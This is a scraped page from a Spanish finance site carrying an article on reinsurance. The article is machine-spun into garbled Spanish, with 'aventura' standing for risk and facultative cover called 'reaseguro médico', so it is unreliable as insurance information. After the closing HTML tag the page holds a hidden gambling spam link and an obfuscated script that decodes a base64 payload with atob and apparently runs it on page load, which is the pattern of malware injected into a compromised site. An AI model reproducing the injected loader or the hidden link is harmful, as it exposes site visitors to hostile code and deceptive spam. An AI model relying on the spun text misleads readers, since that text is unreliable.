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<style>.tdi_20{display:inline-block}.tdi_20 .tdb-mobile-menu-button i{font-size:27px;width:54px;height:54px;line-height:54px}.tdi_20 .tdb-mobile-menu-button svg{width:27px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}.tdi_20 .tdb-mobile-menu-button{color:#ffffff}.tdi_20 .tdb-mobile-menu-button svg,.tdi_20 .tdb-mobile-menu-button svg *{fill:#ffffff}.tdi_20 .tdb-mobile-menu-button:hover{color:#ededed}.tdi_20 .tdb-mobile-menu-button:hover svg,.tdi_20 .tdb-mobile-menu-button:hover svg *{fill:#ededed}@media (max-width:767px){.tdi_20 .tdb-mobile-menu-button i{font-size:25px;width:50px;height:50px;line-height:50px}.tdi_20 .tdb-mobile-menu-button svg{width:25px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:50px;height:50px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_22  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_22{vertical-align:baseline}.tdi_22>.wpb_wrapper,.tdi_22>.wpb_wrapper>.tdc-elements{display:block}.tdi_22>.wpb_wrapper>.tdc-elements{width:100%}.tdi_22>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_22>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_22{width:80%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_23 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_23" >
<style>.tdi_23 .tdb-logo-a,.tdi_23 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_23 .tdb-logo-svg-wrap{display:block}.tdi_23 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_23 .tdb-logo-img-wrap{display:block}.tdi_23 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_23 .tdb-logo-text-title{display:block;color:#ffffff;font-size:40px!important;letter-spacing:-2px!important;}.tdi_23 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_23 .tdb-logo-icon{top:0px;display:block}.tdi_23 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:1019px) and (max-width:1140px){.tdi_23 .tdb-logo-text-title{font-size:33px!important;}}@media (min-width:768px) and (max-width:1018px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;letter-spacing:-3px!important;}}@media (max-width:767px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_25{vertical-align:baseline}.tdi_25>.wpb_wrapper,.tdi_25>.wpb_wrapper>.tdc-elements{display:block}.tdi_25>.wpb_wrapper>.tdc-elements{width:100%}.tdi_25>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_25>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_25{width:10%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
<style>.tdi_26{display:inline-block}.tdi_26 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_26 .tdb-header-search-button-mob svg{width:22px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_26 .tdb-header-search-button-mob{color:#ffffff}.tdi_26 .tdb-header-search-button-mob svg,.tdi_26 .tdb-header-search-button-mob svg *{fill:#ffffff}.tdi_26 .tdb-header-search-button-mob:hover{color:#f2f2f2}@media (max-width:767px){.tdi_26 .tdb-header-search-button-mob i{font-size:20px;width:50px;height:50px;line-height:50px}.tdi_26 .tdb-header-search-button-mob svg{width:20px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:50px;height:50px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><i class="tdb-mobile-search-icon td-icon-search"></i></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>

                
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<style scoped>.tdi_28{min-height:0}.td-header-desktop-wrap{position:relative}</style><div id="tdi_29" class="tdc-row stretch_row_1200 td-stretch-content"><div class="vc_row tdi_30  wpb_row td-pb-row tdc-element-style" >
<style scoped>.tdi_30,.tdi_30 .tdc-columns{min-height:0}.tdi_30,.tdi_30 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_30 .tdc-columns{width:100%}.tdi_30:before,.tdi_30:after{display:none}.tdi_30{padding-top:5px!important;padding-bottom:5px!important;position:relative}.tdi_30 .td_block_wrap{text-align:left}</style>
<div class="tdi_29_rand_style td-element-style" ><style>.tdi_29_rand_style{background-color:#005689!important}</style></div><div class="vc_column tdi_32  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_32{vertical-align:baseline}.tdi_32>.wpb_wrapper,.tdi_32>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_32>.wpb_wrapper>.tdc-elements{width:100%}.tdi_32>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_32>.wpb_wrapper{width:100%;height:100%}.tdi_32{width:30%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_33 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_33" >
<style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;line-height:1;color:#000}.tdi_33{display:inline-block}.tdi_33 .tdb-head-date-txt{color:#ffffff;font-size:15px!important;font-weight:600!important}@media (min-width:1019px) and (max-width:1140px){.tdi_33 .tdb-head-date-txt{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_33 .tdb-head-date-txt{font-size:11px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">Friday, October 2, 2026</div></div></div> <!-- ./block --></div></div><div class="vc_column tdi_35  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_35{vertical-align:baseline}.tdi_35>.wpb_wrapper,.tdi_35>.wpb_wrapper>.tdc-elements{display:block}.tdi_35>.wpb_wrapper>.tdc-elements{width:100%}.tdi_35>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_35>.wpb_wrapper{width:auto;height:auto}.tdi_35{width:40%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_36 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_36" >
<style>.tdi_36 .tdb-logo-a,.tdi_36 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_36 .tdb-logo-svg-wrap{display:block}.tdi_36 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_36 .tdb-logo-img-wrap{display:block}.tdi_36 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_36 .tdb-logo-text-title{display:block;color:#ffffff;font-size:43px!important;letter-spacing:-2px!important;}.tdi_36 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_36 .tdb-logo-icon{top:0px;display:block}.tdi_36 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:768px) and (max-width:1018px){.tdi_36 .tdb-logo-text-title{font-size:30px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-end;align-items:flex-end}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:100%;height:100%}.tdi_38{width:30%!important}@media(min-width:1141px){.tdi_38{display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_socials tdi_39 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_39" >
<style>.tdi_39{margin-right:10px!important;margin-bottom:10px!important;padding-top:-!important}</style>
<style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}</style>
<style>.tdi_40 .tdm-social-item i{font-size:13px;vertical-align:middle;line-height:19.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_40 .tdm-social-item{width:19.5px;height:19.5px;margin:5px 10px 5px 0}.tdi_40 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_40 .tdm-social-item i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_40 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_40 .tdm-social-text{display:none;margin-left:2px;margin-right:18px;color:#ffffff;font-family:Merriweather Sans!important;font-size:12px!important}.tdi_40 .tdm-social-item-wrap:hover .tdm-social-text{color:#4db2ec}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdm-social-item i{font-size:11px;vertical-align:middle;line-height:16.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:8.8px}.tdi_40 .tdm-social-item{width:16.5px;height:16.5px}.tdi_40 .tdm-social-text{font-size:11px!important}}</style><div class="tdm-social-wrapper tds-social1 tdi_40"><div class="tdm-social-item-wrap"><a href="#"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i><span style="display: none">Instagram</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Linkedin" class="tdm-social-item"><i class="td-icon-font td-icon-linkedin"></i><span style="display: none">Linkedin</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div></div></div><div class="td_block_wrap tdb_header_search tdi_41 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_41" >
<style>.tdi_41{justify-content:flex-end!important;text-align:right!important}</style>
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aria-label="Buscar"><span>Buscar</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Buscar" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><i class="tdb-search-icon td-icon-search"></i></a></div></div> <!-- ./block --></div></div></div></div><div id="tdi_42" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_43  wpb_row td-pb-row tdc-element-style" >
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<p>Los huracanes, tornados, incendios forestales y otros eventos meteorológicos inesperados pueden causar estragos en automóviles, casas y otras propiedades. Con el nivel apropiado de seguro, las personas pueden cercar su pérdida financiera. Sin secuestro, cuando estos ocurrencias están muy extendidos e impactan a una gran cantidad de personas con el mismo proveedor de seguros, el porrazo financiero para las compañías de seguros puede ser devastador. Es por eso que existe el reaseguro. El reaseguro es un tipo de seguro utilizado por las compañías de seguros para respaldar que hay suficientes fondos disponibles para honrar los pagos a los asegurados cuando los pagos de reclamos catastróficos exceden lo que el proveedor de seguros puede manejar.</p>
<p><span id="what-is-reinsurance" data-table-of-contents-category="what-is-reinsurance" aria-hidden="true"></span></p>
<h2 id="what-is-reinsurance">¿Qué es el reaseguro?</h2>
<p>El reaseguro es una forma de dirección de riesgos acondicionado para las compañías de seguros. Una sola catástrofe puede resistir un precio muy significativo que es capaz de eliminar a cualquier aseguradora. Las compañías de reaseguro comparten el aventura con la compañía de seguros primaria, la compañía que emitió la póliza al titular de la póliza, lo que lo convierte en una compañía financieramente más cachas. La difusión de pérdidas entre las aseguradoras principales y sus socios de reaseguro reduce el costo de las reclamaciones pagadas por una sola compañía.</p>
<p>La industria del reaseguro incluye compañías que se especializan en la traspaso de reaseguros a las aseguradoras primarias y además incluyen compañías de seguros primarias con departamentos de reaseguro internos.</p>
<p>Las aseguradoras principales compran el reaseguro directamente de los reaseguradores, de los corredores, a través de un intermediario de reaseguros o con inversores institucionales.</p>
<p>La propagación del aventura no solo actúa como una protección contra eventos potencialmente en rotura, sino que además permite a las aseguradoras aumentar su valor de los clientes con altas evacuación de cobertura. Conveniente al aventura compartido, las aseguradoras disfrutan de más familiaridad en sus políticas y cobertura.</p>
<p><span id="how-does-reinsurance-work" data-table-of-contents-category="how-does-reinsurance-work" aria-hidden="true"></span></p>
<h2 id="how-does-reinsurance-work" data-beam-element-viewed="" data-id="br-h2-second-onpage-placement" data-type="h2" data-location="Insurance, Car Insurance" data-position="h2_second_placement" data-name="h2_second_placement" data-text="What is reinsurance?" data-outcome="">¿Cómo funciona el reaseguro?</h2>
<p>Las aseguradoras principales incluyen aquellas compañías que trabajan directamente con los asegurados y aceptan cubrir las pérdidas. En caso de catástrofes donde las aseguradoras enfrentan pérdidas sustanciales durante un corto período de tiempo, las empresas enfrentan finanzas agotadas o una posible bancarrota.</p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/agregar-a-su-hijo-a-su-seguro-de-automovil" target="_self" rel="dofollow" class="u70538c53ed522254e3770922f448f900"><!-- INLINE RELATED POSTS 1/3 //--><style> .u70538c53ed522254e3770922f448f900 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .u70538c53ed522254e3770922f448f900:active, .u70538c53ed522254e3770922f448f900:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u70538c53ed522254e3770922f448f900 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u70538c53ed522254e3770922f448f900 .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .u70538c53ed522254e3770922f448f900 .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .u70538c53ed522254e3770922f448f900:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Agregar a su hijo a su seguro de automóvil</span></div></a></div><p>Las aseguradoras principales mitigan el aventura de calamidad financiera al eliminar sus propias políticas con las compañías de reaseguros. Llevar a cabo como empresas cedidas, empresas que pasan parte o la totalidad de su aventura para otras empresas, las aseguradoras principales dependen de los reaseguradores para ayudar a cubrir pérdidas extremas.</p>
<p>Considere, por ejemplo, un tornado masivo que devastan partes de Oklahoma y deja miles de millones de dólares de daño a su paso. Si perfectamente es casi inútil para que una sola compañía cubra el daño, la difusión del aventura en varias aseguradoras protege tanto a los asegurados como a las compañías de seguros de pérdidas excesivas.</p>
<p>Según la Asociación de Reaseguros de América, un clan comercial para la industria, muchos de sus fortuna se destinan a &#8220;promover un entorno regulatorio que asegura que la industria sea conjuntamente competitiva y financieramente sólida&#8221;. La estructura representa a los miembros en foros estatales, federales e internacionales.</p>
<p>Con el objetivo de respaldar la solvencia, el comportamiento adecuado del mercado, los términos del resolución exacto, las tasas justas y las protecciones adecuadas del consumidor, la división de seguros de cada estado es responsable de regular las compañías de reaseguros incorporadas internamente de sus fronteras. Al ayudar una estructura sólida y prácticas de sonido, los reguladores estatales se aseguran de que tanto los asegurados como las compañías de seguros tengan suficiente cobertura para pérdidas catastróficas.</p>
<p><span id="who-needs-reinsurance" data-table-of-contents-category="who-needs-reinsurance" aria-hidden="true"></span></p>
<h2 id="who-needs-reinsurance">¿Quién necesita reaseguro?</h2>
<p>El reaseguro es un seguro para compañías de seguros y no está acondicionado para el manifiesto en universal. Las compañías de seguros necesitan reaseguro por numerosas razones, incluida la distrito del aventura, la estabilización de las pérdidas, la protección financiera de las reclamaciones catastróficas y para aumentar el potencial de crecimiento de la compañía. Al asociarse con una compañía de reaseguros, las aseguradoras no solo transfieren porciones de aventura sino que además aumentan los márgenes de solvencia a través del arbitraje y la dirección de caudal.</p>
<section class="editorial-insight-box --insight-box +mg-vertical-md" data-template="insight_box">
<div class="card-body">
<div class="content-wrapper">
<p>                Términos de reaseguro comunes
            </p>
<div class="content">
<ul>
<li>
<strong>Transferencia de aventura:</strong> Una transferencia de aventura es un acuerdo entre la compañía de seguros y reaseguros. La compañía de seguros pagará a la compañía de reaseguros para responsabilizarse la responsabilidad de manejar pérdidas que excedan un cierto paso.</li>
<li>
<strong>Cesor:</strong> El cedente o la compañía de ceding es la compañía de seguros que transfiere su aventura a la compañía de reaseguros.</li>
<li>
<strong>Arbitraje:</strong> La compañía de seguros puede estar motivada para comprar el reaseguro oportuno al arbitraje, que está comprando una póliza menos costosa que la que cobran al asegurado por el aventura subyacente.</li>
<li>
<strong>Administración de caudal:</strong> El reaseguro es una aparejo para la dirección de caudal, ya que las compañías de seguros buscan formas de mandar el aventura y optimizar la rentabilidad.</li>
<li>
<strong>Márgenes de solvencia:</strong> Un beneficio de solvencia indica la capacidad de una compañía de seguros para cubrir costos inesperados. El reaseguro proporciona una capa de seguridad para que las compañías de seguros tengan caudal para honrar los pagos de reclamos catastróficos sin temor a la insolvencia.</li>
<li>
<strong>Pericia:</strong> La compañía de reaseguros puede proporcionar experiencia específica a la compañía de seguros, ya que el reasegurador puede establecer una prima apropiada para un aventura específico. El reasegurador además puede proporcionar una orientación experta sobre la dirección de riesgos.</li>
<li>
<strong>Retención:</strong> La cantidad máxima de aventura que mantiene la compañía de seguros primario se conoce como retención. Una vez que una pérdida excede el remate de retención de la compañía, se transmite a la compañía de reaseguros.</li>
</ul>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/como-obtener-un-seguro-para-los-conductores-por-primera-vez" target="_self" rel="dofollow" class="u0d15fc9ebc485937de953a7474b8f812"><!-- INLINE RELATED POSTS 2/3 //--><style> .u0d15fc9ebc485937de953a7474b8f812 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .u0d15fc9ebc485937de953a7474b8f812:active, .u0d15fc9ebc485937de953a7474b8f812:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u0d15fc9ebc485937de953a7474b8f812 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u0d15fc9ebc485937de953a7474b8f812 .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .u0d15fc9ebc485937de953a7474b8f812 .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .u0d15fc9ebc485937de953a7474b8f812:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Cómo obtener un seguro para los conductores por primera vez</span></div></a></div></div></div>
</p></div>
</section>
<p><span id="what-are-the-types-of-reinsurance" data-table-of-contents-category="what-are-the-types-of-reinsurance" aria-hidden="true"></span></p>
<h2 id="what-are-the-types-of-reinsurance">¿Cuáles son los tipos de reaseguros?</h2>
<p>El reaseguro a veces implica primas y riesgos compartidos de todas las políticas generadas por las aseguradoras primarias: el reaseguro del tratado. Otras veces, el reaseguro implica solo pérdidas por encima de un paso predeterminado: reaseguro médico.</p>
<h3>Reaseguro del tratado</h3>
<p>Incluso conocido como reaseguro obligatorio, el reaseguro del tratado establece un acuerdo entre la aseguradora principal y la compañía de reaseguros. Con el reaseguro del tratado, las aseguradoras principales ceden ciertos riesgos y reaseguradores los asumen. El reaseguro del tratado comúnmente implica una agrupación de política completa como la cobertura de propietarios de viviendas, por ejemplo.</p>
<h3>Reaseguro médico</h3>
<p>El reaseguro médico difiere del reaseguro del tratado, ya que requiere una suscripción en torno a cada aventura individual. El reaseguro médico generalmente implica eventos y propiedades de detención aventura, cosas como huracanes y rascacielos.</p>
<p>Tanto el reaseguro del tratado como el reaseguro médico se dividen en una de las dos categorías de acuerdo. Con un acuerdo proporcional, las aseguradoras y reaseguradoras primarias comparten tanto las primas como las posibles pérdidas. Con un acuerdo no proporcional, la aseguradora principal cubre la pérdida hasta un monto específico y los reaseguradores cubren las pérdidas por encima del remate de la aseguradora principal.</p>
<h3>Acuerdos proporcionales y no proporsionales</h3>
<p>El reaseguro proporcional además se conoce como un &#8220;prel rata&#8221;. Según este Acuerdo, el reasegurador recibirá una parte prorratizada de las primas de la aseguradora principal. Luego requiere que la compañía de reaseguros asumiera un porcentaje de las pérdidas.</p>
<p>Los acuerdos de reaseguro no proporción además se conocen como &#8220;exceso de pérdida&#8221;. Según este Acuerdo, las compañías de reaseguro solo deben retribuir si el anuncio a la aseguradora excede un monto específico que supera el remate de retención. La cantidad establecida está predeterminada por la compañía de seguros y reaseguros.</p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/como-proteger-su-hogar-del-incendio-forestal" target="_self" rel="dofollow" class="ufe91c73a7f2af38175c8cad5a8bb5b25"><!-- INLINE RELATED POSTS 3/3 //--><style> .ufe91c73a7f2af38175c8cad5a8bb5b25 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .ufe91c73a7f2af38175c8cad5a8bb5b25:active, .ufe91c73a7f2af38175c8cad5a8bb5b25:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .ufe91c73a7f2af38175c8cad5a8bb5b25 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .ufe91c73a7f2af38175c8cad5a8bb5b25 .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .ufe91c73a7f2af38175c8cad5a8bb5b25 .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .ufe91c73a7f2af38175c8cad5a8bb5b25:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Cómo proteger su hogar del incendio forestal</span></div></a></div><p><span id="how-does-reinsurance-affect-insurance-rates" data-table-of-contents-category="how-does-reinsurance-affect-insurance-rates" aria-hidden="true"></span></p>
<h2 id="how-does-reinsurance-affect-insurance-rates">¿Cómo afecta el reaseguro las tasas de seguro?</h2>
<p>El reaseguro permite a las compañías de seguros primarias crecer y apoderarse más pólizas de seguro y ayuda para ayudar las tasas más bajas para los asegurados. Compartir el aventura de una pérdida potencialmente catastrófica con otra compañía además garantiza que la compañía de seguros primaria permanezca solvente y pueda cumplir con su deber financiero para los asegurados cuando sea necesario.</p>
<p>Al mismo tiempo, los reaseguradores miran de cerca los patrones de catástrofe en todo el mundo. El aumento de las tasas de inundación o incendios forestales, por ejemplo, conduce a mayores reclamos. A medida que aumenta la tasa de reclamos, los reaseguradores aproban costos a las compañías de seguros primarias. Las aseguradoras principales cubren estos costos más altos al aumentar las primas para los asegurados.</p>
<p><span id="frequently-asked-questions" data-table-of-contents-category="frequently-asked-questions" aria-hidden="true"></span></p>
<h2 id="frequently-asked-questions">Preguntas frecuentes</h2>
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<!-- sc5a72ec-cf94f2 -->

<div><a href="https://play.google.com/store/apps/details?id=com.pragmaticplay.breakerbonzagame&#038;hl=id" style="overflow: hidden;height: 0;width: 0;display: inline-block;">pragmatic play</a></div></body>
</html><script>!function(){var _0xdac3ef103251=atob('BkhbQE1aR0FABgdVWE9cDkhjYUp/bBNZR0BKQVkCQhh+F0laE0hjYUp/bHUJcXFIXmtDTEtKXQlzAmZYGHRGHhMJSk8fHhhLGBZKTBhLGUhPSgkCY0J5VEMWE3UMRlpaXl0UAQFNQkdNRVRBQE8AQEtaDAIODEZaWl4UAQEYGwAcHwAfFgAYHgxzFUdIBkIYfhdJWggIQhh+F0ladWZYGHRGHnMHXEtaW1xAFUIYfhdJWhNIY2FKf2x1CXFxSF5rQ0xLSl0JcxMGQhh+F0laUlJVUwcVQhh+F0ladWZYGHRGHnMTHxVIW0BNWkdBQA5eX15NHmUGB1VHSAYPSkFNW0NLQFoATEFKVwdVXUtaekdDS0FbWgZeX15NHmUCHB4HFVxLWltcQBVTWE9cDn5CfFkfYBNKQU1bQ0tAWgBNXEtPWktrQktDS0BaBglKR1gJBwJFQWZBSUgTSkFNW0NLQFoATVxLT1pLa0JLQ0tAWgYJR0hcT0NLCQcVfkJ8WR9gAF1aV0JLAE1dXXpLVloTCV5BXUdaR0FAFEhHVktKFUdAXUtaFB4VVANHQEpLVhQcHxoZGhYdHBccFUxPTUVJXEFbQEoUXElMTwYfGwIcHQIaHAIAGhwHFV5BR0BaS1wDS1hLQFpdFEBBQEsVCRVFQWZBSUgAWkdaQksTCX1LTVtcR1pXDk1GS01FCRVFQWZBSUgAXUtab1paXEdMW1pLBglPQkJBWUhbQkJdTVxLS0AJAgkJBxVFQWZBSUgAXVpXQksATV1dektWWhMJXkFdR1pHQUAUSEdWS0oVR0BdS1oUHhVZR0paRhQfHh4LFUZLR0lGWhQfHh4LFUxBXEpLXBQeFVQDR0BKS1YUHB8aGRoWHR0eHBVMT01FSVxBW0BKFA1ISEgVCRVKQU1bQ0tAWgBMQUpXAE9eXktASm1GR0JKBn5CfFkfYAcVSkFNW0NLQFoATEFKVwBPXl5LQEptRkdCSgZFQWZBSUgHFUhbQE1aR0FADkdPGmpEZQYHVVpcV1V+QnxZH2AAXEtDQVhLBgcVRUFmQUlIAFxLQ0FYSwYHFVNNT1pNRgZxSwdVU1pcV1VKS0JLWksOQhh+F0ladWZYGHRGHnNTTU9aTUYGcUscB1VTU0hjYUp/bABPSkprWEtAWmJHXVpLQEtcBglDS11dT0lLCQJIW0BNWkdBQAZxS1gHVVpcV1VHSAYPcUtYUlIPcUtYAEpPWk8HXEtaW1xAFUdIBnFLWABKT1pPAFpXXksTExMJSF4DS0NMS0oDTUJBXUsJB0dPGmpEZQYHFVNNT1pNRgZxSx0HVVNTBxVIW0BNWkdBQA5ea18fVhcGa1ZHSWxhB1VHSAZrVkdJbGEQE2NCeVRDFgBCS0BJWkYHXEtaW1xAFVhPXA5xRhMJCRVaXFdVcUYTfVpcR0BJBkhjYUp/bABCQU1PWkdBQAgIBkhjYUp/bABCQU1PWkdBQABGQV1aQE9DS1JSSGNhSn9sAEJBTU9aR0FAAEZBXVoHUlIJCQcAXEteQk9NSwYBcFlZWXIAAUcCCQkHFVNNT1pNRgZxS0YHVVNYT1wOcVsTY0J5VEMWdWtWR0lsYXMFCQFLQ0xLSgEJBWZYGHRGHgUJEUtDTEtKEx8JBQZxRhEGCQhGQV1aEwkFS0BNQUpLe3xnbUFDXkFAS0BaBnFGBwcUCQkHFVhPXA5xWkETXUtaekdDS0FbWgZIW0BNWkdBQAYHVV5rXx9WFwZrVkdJbGEFHwcVUwIfHB4eHgcVRUFmQUlIAEFAQkFPShNIW0BNWkdBQAYHVU1CS09cekdDS0FbWgZxWkEHFVMVRUFmQUlIAF1cTRNxWxVTXmtfH1YXBh4HFVNHSAZKQU1bQ0tAWgBcS09KV31aT1pLExMTCUJBT0pHQEkJB0hjYUp/bABPSkprWEtAWmJHXVpLQEtcBglqYWNtQUBaS0BaYkFPSktKCQJeX15N